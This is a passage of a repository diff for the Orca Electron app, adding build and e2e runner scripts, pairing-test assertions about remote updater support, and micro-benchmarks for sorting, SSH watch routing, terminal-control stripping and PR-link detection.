const { binDir } = prepareDevCliTerminalWrappers({
|
||||
repoRoot,
|
||||
userDataPath,
|
||||
electronExecutable: getElectronExecutable()
|
||||
})
|
||||
|
||||
process.env.PATH = `${binDir}${path.delimiter}${process.env.PATH ?? ''}`
|
||||
console.log(`[orca-dev] Prepared wrapper in ${binDir}`)
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
import { spawn } from 'node:child_process'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const buildScript = fileURLToPath(new URL('./run-electron-vite-build.mjs', import.meta.url))
|
||||
const targetConfig = fileURLToPath(new URL('../electron-vite-target.config.ts', import.meta.url))
|
||||
const targets = ['main', 'preload', 'renderer']
|
||||
|
||||
function buildTarget(target) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(
|
||||
process.execPath,
|
||||
[buildScript, '--config', targetConfig, '--ignoreConfigWarning'],
|
||||
{
|
||||
stdio: 'inherit',
|
||||
env: {
|
||||
...process.env,
|
||||
ORCA_ELECTRON_VITE_TARGET: target
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
child.on('error', reject)
|
||||
child.on('exit', (code, signal) => {
|
||||
if (signal) {
|
||||
reject(new Error(`Electron Vite ${target} build exited with signal ${signal}`))
|
||||
} else if (code !== 0) {
|
||||
reject(new Error(`Electron Vite ${target} build exited with code ${code}`))
|
||||
} else {
|
||||
resolve()
|
||||
}
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const results = await Promise.allSettled(targets.map(buildTarget))
|
||||
const failures = results.filter((result) => result.status === 'rejected')
|
||||
|
||||
if (failures.length > 0) {
|
||||
for (const failure of failures) {
|
||||
console.error(failure.reason)
|
||||
}
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -194,8 +194,21 @@ async function validateAuthenticatedPairing() {
|
||||
status?._meta?.runtimeId === payload.runtimeId,
|
||||
'paired client runtime ID does not match ready contract'
|
||||
)
|
||||
assert(
|
||||
typeof statusResult?.runtime?.appVersion === 'string',
|
||||
'paired server did not report its Orca app version'
|
||||
)
|
||||
assert(
|
||||
statusResult?.runtime?.capabilities?.includes('updater.remote-control.v1'),
|
||||
'paired server did not advertise remote updater capability'
|
||||
)
|
||||
assert(
|
||||
statusResult?.runtime?.remoteUpdateSupport?.automatic === false &&
|
||||
statusResult.runtime.remoteUpdateSupport.reason === 'manual-service-update-required',
|
||||
'direct headless server did not require a safe manual service update'
|
||||
)
|
||||
stopContainer(server.name)
|
||||
console.log('PASS authenticated E2EE pairing from an independent Debian container')
|
||||
console.log('PASS paired E2EE updater inventory and manual-service fallback')
|
||||
}
|
||||
|
||||
async function validateUnreachableOffer() {
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
|
||||
const result = spawnSync(
|
||||
process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm',
|
||||
[
|
||||
'exec',
|
||||
'playwright',
|
||||
'test',
|
||||
'tests/e2e/nested-runtime-ssh-routing.spec.ts',
|
||||
'tests/e2e/nested-runtime-ssh-lifecycle.spec.ts',
|
||||
'--config',
|
||||
'tests/playwright.config.ts',
|
||||
'--project',
|
||||
'electron-headless',
|
||||
'--workers=1'
|
||||
],
|
||||
{
|
||||
cwd: process.cwd(),
|
||||
env: {
|
||||
...process.env,
|
||||
ORCA_E2E_NESTED_RUNTIME_SSH: '1',
|
||||
ORCA_E2E_SSH_DOCKER: '1',
|
||||
ORCA_E2E_WEB_CLIENT: '1'
|
||||
},
|
||||
stdio: 'inherit'
|
||||
}
|
||||
)
|
||||
|
||||
if (result.error) {
|
||||
throw result.error
|
||||
}
|
||||
process.exit(result.status ?? 1)
|
||||
@@ -0,0 +1,116 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of sorting the Source Control changed-file list.
|
||||
//
|
||||
// compareGitStatusEntries called `a.path.localeCompare(b.path, undefined, {numeric:true})`.
|
||||
// Passing an options object makes each call resolve a fresh ICU collator, so a
|
||||
// sort paid for one per O(n log n) comparison. The fix hoists a single
|
||||
// Intl.Collator, which is the idiom TaskPage.tsx already uses for Jira labels.
|
||||
//
|
||||
// The sort runs in a useMemo keyed on the entry list, so it re-runs on every git
|
||||
// refresh that changes the working tree.
|
||||
//
|
||||
// Both arms sort the same generated list and their outputs are compared before
|
||||
// timing, so a comparator that changed the order cannot be reported as a win.
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const ITERATIONS = Number(process.env.ORCA_SC_SORT_BENCH_ITERATIONS ?? '25')
|
||||
const WARMUP = Number(process.env.ORCA_SC_SORT_BENCH_WARMUP ?? '5')
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_SC_SORT_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_SC_SORT_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isSafeInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function conflictRank(entry) {
|
||||
if (entry.conflictStatus === 'unresolved') {
|
||||
return 0
|
||||
}
|
||||
if (entry.conflictStatus === 'resolved_locally') {
|
||||
return 1
|
||||
}
|
||||
return 2
|
||||
}
|
||||
|
||||
// Pre-fix: resolves a collator per comparison.
|
||||
function compareBefore(a, b) {
|
||||
return (
|
||||
conflictRank(a) - conflictRank(b) || a.path.localeCompare(b.path, undefined, { numeric: true })
|
||||
)
|
||||
}
|
||||
|
||||
// Post-fix: one hoisted collator, mirroring source-control-status-sort.ts.
|
||||
const collator = new Intl.Collator(undefined, { numeric: true })
|
||||
function compareAfter(a, b) {
|
||||
return conflictRank(a) - conflictRank(b) || collator.compare(a.path, b.path)
|
||||
}
|
||||
|
||||
// Why real repo paths in git's own order: `git status` emits byte-sorted paths,
|
||||
// and a shuffled fixture inflates the win — a nearly-sorted array is the case
|
||||
// this actually has to beat.
|
||||
const REPO_PATHS = execFileSync('git', ['ls-files'], {
|
||||
cwd: fileURLToPath(new URL('../..', import.meta.url)),
|
||||
maxBuffer: 256 * 1024 * 1024
|
||||
})
|
||||
.toString()
|
||||
.split('\n')
|
||||
.filter(Boolean)
|
||||
|
||||
function makeEntries(count) {
|
||||
const step = Math.max(1, Math.floor(REPO_PATHS.length / count))
|
||||
const paths = []
|
||||
for (let index = 0; index < REPO_PATHS.length && paths.length < count; index += step) {
|
||||
paths.push(REPO_PATHS[index])
|
||||
}
|
||||
return paths.map((path, index) => ({
|
||||
path,
|
||||
area: 'unstaged',
|
||||
status: 'modified',
|
||||
...(index % 37 === 0 ? { conflictStatus: 'unresolved' } : {})
|
||||
}))
|
||||
}
|
||||
|
||||
function measure(compare, entries) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
;[...entries].sort(compare)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
;[...entries].sort(compare)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Source Control changed-file sort, per git refresh. Lower is better.')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(`${pad('files', 7)} ${pad('per-call', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`)
|
||||
|
||||
// Sizes from the real distribution over 7,324 non-merge commits on this repo:
|
||||
// p50 3, p75 7, p90 17, p95 26, p99 63, max 1626.
|
||||
for (const count of [3, 17, 26, 63, 308, 1000]) {
|
||||
const entries = makeEntries(count)
|
||||
const before = [...entries].sort(compareBefore).map((entry) => entry.path)
|
||||
const after = [...entries].sort(compareAfter).map((entry) => entry.path)
|
||||
if (before.join('\n') !== after.join('\n')) {
|
||||
throw new Error(`sort order differs at ${count} files`)
|
||||
}
|
||||
const beforeMs = measure(compareBefore, entries)
|
||||
const afterMs = measure(compareAfter, entries)
|
||||
console.log(
|
||||
`${pad(count, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\nSizes are the real changed-file distribution over 7,324 non-merge commits on\nthis repo (p50 3, p90 17, p95 26, p99 63), so the top rows are the common case.\nThis times the sort alone; the sort is roughly 85% of the Source Control\nprojection chain, so the end-to-end memo win is smaller than these ratios.'
|
||||
)
|
||||
@@ -0,0 +1,190 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: routing one `fs.changed` relay notification to SSH watch registrations.
|
||||
//
|
||||
// routeSshFilesystemWatchNotification called isPathInsideOrEqual(root, event.path)
|
||||
// for every (registration x event) pair. That helper NFC-normalizes BOTH sides, so
|
||||
// each event path was re-normalized once per watch root, and each root was
|
||||
// re-normalized once per event -- O(roots * events) normalizations for what is
|
||||
// O(roots + events) distinct work.
|
||||
//
|
||||
// The fix normalizes each event path once up front and builds one pre-normalized
|
||||
// matcher per root, leaving only string compare in the inner loop.
|
||||
//
|
||||
// This is a hot path on SSH: the relay watcher batches up to MAX_BATCHED_WATCHER_EVENTS
|
||||
// per notify, and a single `git checkout` or `pnpm install` on the remote host emits
|
||||
// thousands of paths through it.
|
||||
//
|
||||
// Both arms are run against the same inputs and their outputs are compared before
|
||||
// timing, so a matcher that changed which events route where cannot be reported as
|
||||
// a win. The normalizer is imported from the real module (via tsx) rather than
|
||||
// re-modelled here, so folding-rule drift cannot silently invalidate the result.
|
||||
import { execFileSync } from 'node:child_process'
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
|
||||
const ITERATIONS = Number(process.env.ORCA_SSH_WATCH_BENCH_ITERATIONS ?? '200')
|
||||
const WARMUP = Number(process.env.ORCA_SSH_WATCH_BENCH_WARMUP ?? '30')
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_SSH_WATCH_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_SSH_WATCH_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isSafeInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Why re-read the source: this benchmark's whole claim is that the normalizer is
|
||||
// the expensive part. If someone makes it cheap (or drops the NFC fold), the
|
||||
// numbers below stop meaning what the header says, so fail loudly instead.
|
||||
const PATH_SOURCE = readFileSync(
|
||||
new URL('../../src/shared/cross-platform-path.ts', import.meta.url),
|
||||
'utf8'
|
||||
)
|
||||
for (const marker of ['normalize(', 'createNormalizedPathInsideOrEqualMatcher']) {
|
||||
if (!PATH_SOURCE.includes(marker)) {
|
||||
throw new Error(`cross-platform-path.ts no longer contains ${marker}; this benchmark is stale`)
|
||||
}
|
||||
}
|
||||
|
||||
// Import the real normalizer so both arms fold paths exactly as production does.
|
||||
const {
|
||||
normalizeRuntimePathForComparison,
|
||||
isPathInsideOrEqual,
|
||||
createNormalizedPathInsideOrEqualMatcher
|
||||
} = await import(new URL('../../src/shared/cross-platform-path.ts', import.meta.url).href)
|
||||
|
||||
// Pre-fix: mirrors the original routeSshFilesystemWatchNotification inner loop.
|
||||
function routeBefore(roots, events, sink) {
|
||||
for (const rootPath of roots) {
|
||||
const matching = events.filter((event) => isPathInsideOrEqual(rootPath, event.absolutePath))
|
||||
if (matching.length > 0) {
|
||||
sink(rootPath, matching)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Post-fix: mirrors the current implementation.
|
||||
function routeAfter(roots, events, sink) {
|
||||
const normalizedEvents = events.map((event) => ({
|
||||
event,
|
||||
normalizedPath: normalizeRuntimePathForComparison(event.absolutePath)
|
||||
}))
|
||||
for (const rootPath of roots) {
|
||||
const isInsideRoot = createNormalizedPathInsideOrEqualMatcher(rootPath)
|
||||
const matching = normalizedEvents
|
||||
.filter(({ normalizedPath }) => isInsideRoot(normalizedPath))
|
||||
.map(({ event }) => event)
|
||||
if (matching.length > 0) {
|
||||
sink(rootPath, matching)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Why real repo paths: path length and segment count drive normalization cost, and
|
||||
// a synthetic `/a/b/c` fixture would understate it against real source trees.
|
||||
const REPO_PATHS = execFileSync('git', ['ls-files'], {
|
||||
cwd: REPO_ROOT,
|
||||
maxBuffer: 256 * 1024 * 1024
|
||||
})
|
||||
.toString()
|
||||
.split('\n')
|
||||
.filter(Boolean)
|
||||
|
||||
// A remote host running several worktrees: each is its own watch root, and the
|
||||
// file explorer plus the worktree-base-directory watcher both register.
|
||||
function makeRoots(count) {
|
||||
return Array.from({ length: count }, (_, index) => `/home/dev/worktrees/orca-${index}`)
|
||||
}
|
||||
|
||||
function makeEvents(roots, count) {
|
||||
const events = []
|
||||
for (let index = 0; index < count; index += 1) {
|
||||
// Spread events across roots so most roots match some events, as a real
|
||||
// multi-worktree checkout does. Paths outside any root also occur (node_modules
|
||||
// of a sibling checkout), so include a slice of those too.
|
||||
const root = index % 11 === 0 ? '/home/dev/other-checkout' : roots[index % roots.length]
|
||||
events.push({
|
||||
kind: 'update',
|
||||
absolutePath: `${root}/${REPO_PATHS[index % REPO_PATHS.length]}`
|
||||
})
|
||||
}
|
||||
return events
|
||||
}
|
||||
|
||||
function collect(roots, events, route) {
|
||||
const seen = []
|
||||
route(roots, events, (rootPath, matching) =>
|
||||
seen.push(`${rootPath} ${matching.map((event) => event.absolutePath).join(',')}`)
|
||||
)
|
||||
return seen.join('\n')
|
||||
}
|
||||
|
||||
// Why interleaved: running one arm's whole batch before the other's lets CPU
|
||||
// frequency drift and background load correlate with the arm being measured. On a
|
||||
// loaded machine that alone swung the 12x200 row between 6.7x and 23.3x. Alternating
|
||||
// per round and taking per-arm medians keeps the drift common to both.
|
||||
function measureInterleaved(roots, events) {
|
||||
const noop = () => undefined
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
routeBefore(roots, events, noop)
|
||||
routeAfter(roots, events, noop)
|
||||
}
|
||||
const beforeSamples = []
|
||||
const afterSamples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
let start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
routeBefore(roots, events, noop)
|
||||
}
|
||||
beforeSamples.push((performance.now() - start) / ITERATIONS)
|
||||
|
||||
start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
routeAfter(roots, events, noop)
|
||||
}
|
||||
afterSamples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
beforeSamples.sort((a, b) => a - b)
|
||||
afterSamples.sort((a, b) => a - b)
|
||||
return { beforeMs: beforeSamples[2], afterMs: afterSamples[2] }
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('SSH fs.changed fan-out, per relay notification. Lower is better.')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(
|
||||
`${pad('roots', 6)} ${pad('events', 7)} ${pad('per-pair', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`
|
||||
)
|
||||
|
||||
// roots x events: 3x20 is a typical few-worktree session with a small save; the
|
||||
// larger rows are a remote `git checkout` or `pnpm install` storm, which the relay
|
||||
// batches up to MAX_BATCHED_WATCHER_EVENTS (5,000) per notification.
|
||||
for (const [rootCount, eventCount] of [
|
||||
[3, 20],
|
||||
[6, 50],
|
||||
[12, 200],
|
||||
[25, 500],
|
||||
[25, 5000]
|
||||
]) {
|
||||
const roots = makeRoots(rootCount)
|
||||
const events = makeEvents(roots, eventCount)
|
||||
const before = collect(roots, events, routeBefore)
|
||||
const after = collect(roots, events, routeAfter)
|
||||
if (before !== after) {
|
||||
throw new Error(`routing differs at ${rootCount} roots x ${eventCount} events`)
|
||||
}
|
||||
if (!before.includes(' ')) {
|
||||
throw new Error(`fixture routed nothing at ${rootCount} roots x ${eventCount} events`)
|
||||
}
|
||||
const { beforeMs, afterMs } = measureInterleaved(roots, events)
|
||||
console.log(
|
||||
`${pad(rootCount, 6)} ${pad(eventCount, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
'\nThis times routing only. The saving scales with roots x events, so it is small\nfor a single-worktree session and largest during a remote checkout storm, which\nis exactly when the main process is already busy.'
|
||||
)
|
||||
@@ -0,0 +1,202 @@
|
||||
#!/usr/bin/env node
|
||||
// Mirrors the complete pre/post stripTerminalControl paths at their production size caps.
|
||||
import { performance } from 'node:perf_hooks'
|
||||
|
||||
const ESC = String.fromCharCode(0x1b)
|
||||
const BEL = String.fromCharCode(0x07)
|
||||
const ANSI_ESCAPE_RE = new RegExp(
|
||||
`${ESC}(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~]|\\][^${BEL}]*(?:${BEL}|${ESC}\\\\))`,
|
||||
'g'
|
||||
)
|
||||
const INCOMPLETE_ANSI_ESCAPE_RE = new RegExp(
|
||||
`${ESC}(?:\\[[0-?]*[ -/]*|\\][^${BEL}${ESC}]*|\\S?)?$`,
|
||||
'g'
|
||||
)
|
||||
const HISTORY_LIMIT = 300
|
||||
const SCAN_LIMIT = 4096
|
||||
const SAMPLE_ID_LENGTH = 24
|
||||
const ITERATIONS = Number(process.env.ORCA_STRIP_BENCH_ITERATIONS ?? '501')
|
||||
let resultChecksum = 0
|
||||
let validatedPairs = 0
|
||||
|
||||
if (!Number.isSafeInteger(ITERATIONS) || ITERATIONS <= 0) {
|
||||
throw new Error(`ORCA_STRIP_BENCH_ITERATIONS must be a positive integer, got ${ITERATIONS}`)
|
||||
}
|
||||
|
||||
function isStrippedCode(code) {
|
||||
return (code <= 0x1f && code !== 0x0a && code !== 0x0d) || (code >= 0x7f && code <= 0x9f)
|
||||
}
|
||||
|
||||
function terminalControlMayAffectText(data) {
|
||||
for (let index = 0; index < data.length; index += 1) {
|
||||
const code = data.charCodeAt(index)
|
||||
if (
|
||||
code === 0x0d ||
|
||||
code === 0x1b ||
|
||||
(code <= 0x1f && code !== 0x0a) ||
|
||||
(code >= 0x7f && code <= 0x9f)
|
||||
) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function stripPerChar(data) {
|
||||
if (!terminalControlMayAffectText(data)) {
|
||||
return data
|
||||
}
|
||||
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
|
||||
let output = ''
|
||||
for (let index = 0; index < withoutAnsi.length; index += 1) {
|
||||
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
|
||||
continue
|
||||
}
|
||||
output += withoutAnsi[index]
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
function stripSliceRuns(data) {
|
||||
if (!terminalControlMayAffectText(data)) {
|
||||
return data
|
||||
}
|
||||
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
|
||||
let output = ''
|
||||
let runStart = 0
|
||||
for (let index = 0; index < withoutAnsi.length; index += 1) {
|
||||
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
|
||||
if (index > runStart) {
|
||||
output += withoutAnsi.slice(runStart, index)
|
||||
}
|
||||
runStart = index + 1
|
||||
}
|
||||
}
|
||||
return runStart === 0 ? withoutAnsi : output + withoutAnsi.slice(runStart)
|
||||
}
|
||||
|
||||
function fixedSampleId(sampleId) {
|
||||
return `sample:${sampleId}`.padEnd(SAMPLE_ID_LENGTH, '_').slice(0, SAMPLE_ID_LENGTH)
|
||||
}
|
||||
|
||||
function makeTuiFixture(length, sampleId, strippedControl) {
|
||||
const lines = [
|
||||
`${strippedControl}\x1b[35m✻ Thinking...\x1b[0m\r\n`,
|
||||
' ⏺ Running tests... 42 passed, 0 failed\r\n'
|
||||
]
|
||||
let text = `${fixedSampleId(sampleId)}\r\n`
|
||||
for (let lineIndex = 0; ; lineIndex += 1) {
|
||||
const next = lines[lineIndex % lines.length]
|
||||
if (text.length + next.length > length) {
|
||||
break
|
||||
}
|
||||
text += next
|
||||
}
|
||||
return text + 'x'.repeat(length - text.length)
|
||||
}
|
||||
|
||||
function makeDenseFixture(length, sampleId, strippedControl) {
|
||||
const prefix = `\x1b[35m${fixedSampleId(sampleId)}`
|
||||
const suffix = '\x1b[0m'
|
||||
const bodyLength = length - prefix.length - suffix.length
|
||||
const body = `x${strippedControl}`.repeat(Math.floor(bodyLength / 2))
|
||||
return `${prefix}${body}${bodyLength % 2 === 0 ? '' : 'x'}${suffix}`
|
||||
}
|
||||
|
||||
function median(samples) {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const middle = Math.floor(sorted.length / 2)
|
||||
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
|
||||
}
|
||||
|
||||
function measure(strip, fixture) {
|
||||
const start = performance.now()
|
||||
const output = strip(fixture)
|
||||
return { elapsed: performance.now() - start, output }
|
||||
}
|
||||
|
||||
function consumeOutput(output) {
|
||||
resultChecksum = Math.imul(resultChecksum ^ output.length, 16777619) >>> 0
|
||||
resultChecksum ^= output.charCodeAt(Math.floor(output.length / 2))
|
||||
}
|
||||
|
||||
function recordPair(fixture, sampleId, perCharFirst, samples) {
|
||||
const perCharFixture = fixture.make(sampleId, perCharFirst ? '\x01' : '\x02')
|
||||
const sliceRunsFixture = fixture.make(sampleId, perCharFirst ? '\x02' : '\x01')
|
||||
if (
|
||||
perCharFixture === sliceRunsFixture ||
|
||||
perCharFixture.length !== fixture.length ||
|
||||
sliceRunsFixture.length !== fixture.length
|
||||
) {
|
||||
throw new Error(`invalid inputs for ${fixture.label}, sample ${sampleId}`)
|
||||
}
|
||||
let perCharResult
|
||||
let sliceRunsResult
|
||||
if (perCharFirst) {
|
||||
perCharResult = measure(stripPerChar, perCharFixture)
|
||||
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
|
||||
} else {
|
||||
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
|
||||
perCharResult = measure(stripPerChar, perCharFixture)
|
||||
}
|
||||
if (perCharResult.output !== sliceRunsResult.output) {
|
||||
throw new Error(`strip mismatch for ${fixture.label}, sample ${sampleId}`)
|
||||
}
|
||||
consumeOutput(perCharResult.output)
|
||||
consumeOutput(sliceRunsResult.output)
|
||||
validatedPairs += 1
|
||||
samples.perChar.push(perCharResult.elapsed)
|
||||
samples.sliceRuns.push(sliceRunsResult.elapsed)
|
||||
}
|
||||
|
||||
const denseBodyLength = SCAN_LIMIT - '\x1b[35m'.length - SAMPLE_ID_LENGTH - '\x1b[0m'.length
|
||||
const denseControlPercent = ((Math.floor(denseBodyLength / 2) / SCAN_LIMIT) * 100).toFixed(1)
|
||||
const fixtures = [
|
||||
{
|
||||
label: `${HISTORY_LIMIT} history TUI`,
|
||||
length: HISTORY_LIMIT,
|
||||
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${HISTORY_LIMIT + 1} boundary TUI`,
|
||||
length: HISTORY_LIMIT + 1,
|
||||
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT + 1, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${SCAN_LIMIT} scan TUI`,
|
||||
length: SCAN_LIMIT,
|
||||
make: (sampleId, control) => makeTuiFixture(SCAN_LIMIT, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${SCAN_LIMIT} scan ${denseControlPercent}% C0`,
|
||||
length: SCAN_LIMIT,
|
||||
make: (sampleId, control) => makeDenseFixture(SCAN_LIMIT, sampleId, control)
|
||||
}
|
||||
]
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Complete stripTerminalControl path. Lower is better.')
|
||||
console.log(
|
||||
`iterations=${ITERATIONS} (${ITERATIONS * 2} first-touch samples/implementation, counterbalanced median)`
|
||||
)
|
||||
console.log(
|
||||
`${pad('fixture', 25)} ${pad('per-char', 11)} ${pad('slice runs', 12)} ${pad('speedup', 9)}`
|
||||
)
|
||||
|
||||
for (const fixture of fixtures) {
|
||||
const samples = { perChar: [], sliceRuns: [] }
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
const orders = index % 2 === 0 ? [true, false] : [false, true]
|
||||
for (const perCharFirst of orders) {
|
||||
const orderLabel = perCharFirst ? 'per-first' : 'slice-first'
|
||||
recordPair(fixture, `${index}:${orderLabel}`, perCharFirst, samples)
|
||||
}
|
||||
}
|
||||
const perChar = median(samples.perChar)
|
||||
const sliceRuns = median(samples.sliceRuns)
|
||||
console.log(
|
||||
`${pad(fixture.label, 25)} ${pad(`${(perChar * 1000).toFixed(1)} us`, 11)} ${pad(`${(sliceRuns * 1000).toFixed(1)} us`, 12)} ${pad(`${(perChar / sliceRuns).toFixed(2)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(`\nvalidated=${validatedPairs} measured pairs, result checksum=${resultChecksum >>> 0}`)
|
||||
console.log('Production calls are bounded to 4096, 4096, 300, and 301 code units.')
|
||||
@@ -0,0 +1,221 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: per-chunk cost of the GitHub PR-link carry scan on the PTY output path.
|
||||
//
|
||||
// createTerminalGitHubPRLinkDetector() runs on every PTY chunk (renderer
|
||||
// pty-connection + parked-terminal-byte-watcher). Before the fix,
|
||||
// getPotentialGitHubPRCarry() ran `lastIndexOf` for BOTH http scheme prefixes
|
||||
// across the entire combined chunk — even on the early-out path where the chunk
|
||||
// provably has no `/pull/`. The carry it returns is always a suffix of at most
|
||||
// MAX_CARRY_LENGTH (512) bytes, so every byte scanned before
|
||||
// `length - 512` was guaranteed-wasted work.
|
||||
//
|
||||
// The fix bounds the scan to that trailing window. This script measures the
|
||||
// scan itself across chunk sizes so the saved work is quantified.
|
||||
//
|
||||
// carryBefore/carryAfter are mirrors: node cannot import the .ts source, which is
|
||||
// why the sibling benchmarks in this directory inline their subject too. The
|
||||
// constants below are re-read from the real module at startup so a drifted cap or
|
||||
// scheme list fails loudly here instead of quietly benchmarking dead code.
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const DETECTOR_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/shared/terminal-github-pr-link-detector.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
function readMirroredConstants(source) {
|
||||
const cap = source.match(/const MAX_CARRY_LENGTH = (\d+)/)
|
||||
const prefixes = source.match(/const HTTP_SCHEME_PREFIXES = \[([^\]]+)\]/)
|
||||
if (!cap || !prefixes) {
|
||||
throw new Error(
|
||||
'terminal-github-pr-link-detector.ts no longer exposes MAX_CARRY_LENGTH / HTTP_SCHEME_PREFIXES in the expected shape; re-sync this benchmark with the implementation.'
|
||||
)
|
||||
}
|
||||
return {
|
||||
maxCarryLength: Number(cap[1]),
|
||||
httpSchemePrefixes: prefixes[1]
|
||||
.split(',')
|
||||
.map((entry) => entry.trim().replace(/^['"]|['"]$/g, ''))
|
||||
.filter(Boolean)
|
||||
}
|
||||
}
|
||||
|
||||
const { maxCarryLength: MAX_CARRY_LENGTH, httpSchemePrefixes: HTTP_SCHEME_PREFIXES } =
|
||||
readMirroredConstants(DETECTOR_SOURCE)
|
||||
const ITERATIONS = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_ITERATIONS ?? '2000', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_WARMUP ?? '200', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_PR_CARRY_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_PR_CARRY_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function hasTerminalUrlWhitespace(value, start, end) {
|
||||
for (let index = start; index < end; index += 1) {
|
||||
if (/\s/.test(value.charAt(index))) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function endsWithHttpSchemePrefixFragment(value) {
|
||||
for (const prefix of HTTP_SCHEME_PREFIXES) {
|
||||
for (let length = Math.min(prefix.length - 1, value.length); length > 0; length--) {
|
||||
if (value.endsWith(prefix.slice(0, length))) {
|
||||
return value.slice(value.length - length)
|
||||
}
|
||||
}
|
||||
}
|
||||
return ''
|
||||
}
|
||||
|
||||
// Pre-fix implementation, kept verbatim for comparison.
|
||||
function carryBefore(value) {
|
||||
const schemeIndex = Math.max(...HTTP_SCHEME_PREFIXES.map((prefix) => value.lastIndexOf(prefix)))
|
||||
if (schemeIndex !== -1) {
|
||||
const tailLength = value.length - schemeIndex
|
||||
if (tailLength > MAX_CARRY_LENGTH) {
|
||||
return ''
|
||||
}
|
||||
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
|
||||
? ''
|
||||
